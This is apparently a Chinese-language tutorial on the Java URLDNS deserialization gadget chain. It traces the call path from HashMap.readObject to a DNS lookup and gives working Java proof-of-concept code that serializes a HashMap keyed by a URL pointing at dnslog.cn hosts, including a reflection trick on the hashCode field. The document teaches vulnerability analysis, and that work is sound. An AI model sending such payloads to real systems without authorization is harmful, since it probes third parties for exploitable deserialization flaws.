URLDNS链

前言

URLDNS链其实就是DNSlog。可以用来判断目标是否出网或者漏洞是否利用成功。感觉就是判断是不是存在反序列化漏洞用的。

前置知识

在反序列化中通过 readObject 来返回一个对象,如果一个类中重写了readObject,里面可能存在潜在危险利用链

例如在Person.java中重写 readObject()

在反序列化时 触发 readObject 导致rce

分析

HashMaop.java中看到 readObject 方法

往下看到调用hash函数,传入值为key

跟到 HashMap的hash方法,发现调用 key的hashCode方法

在URL.java 中 存在hashCode方法,所以传入的 key为 URL的对象

此处的 handler 是 URLStreamHandler的一个对象,传入的是 this参数,在构造方法里可控,所以这里就是DNSlog传入的地方

继续跟进 handler.hashCode 方法

跟进getHostAddress方法,最终调用 InetAddress 类的 getByName()方法发送请求解析域名为ip,DNSLog收到请求

poc

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class Serialize {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static void main(String[] args) throws IOException {
//HashMap要求 键值对
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://clrdzx.dnslog.cn");
//设置键值对
hashmap.put(url,1);
serialize(hashmap);
}
}

测试时出现问题,在序列化时发起了请求,反序列化时没有请求

具体原因在这里

hashmap.put(url,1);

跟进put

为了保持键的唯一性,本应该在readObject 中调用的hash方法却提前调用hash方法,接着走到URL的hashCode中

hashCode初始值为 -1 所以在序列化时这里的hashCode已经改变,那么在反序列化时因为hashCode不为-1,导致直接return,不再进行

解决

通过反射改变已有对象的属性

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Serialize {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://zl0zcu.dnslog.cn"); //构造方法传入u
//hashcode先变为不是-1
Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,123);
//添加key
hashmap.put(url,1);
//hashcode再变为-1
hashCodeField.set(url,-1);
serialize(hashmap);

//HashMap map = new HashMap();
//URL url = new URL("http://cbqv10.dnslog.cn");
//Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
}
}

成功解决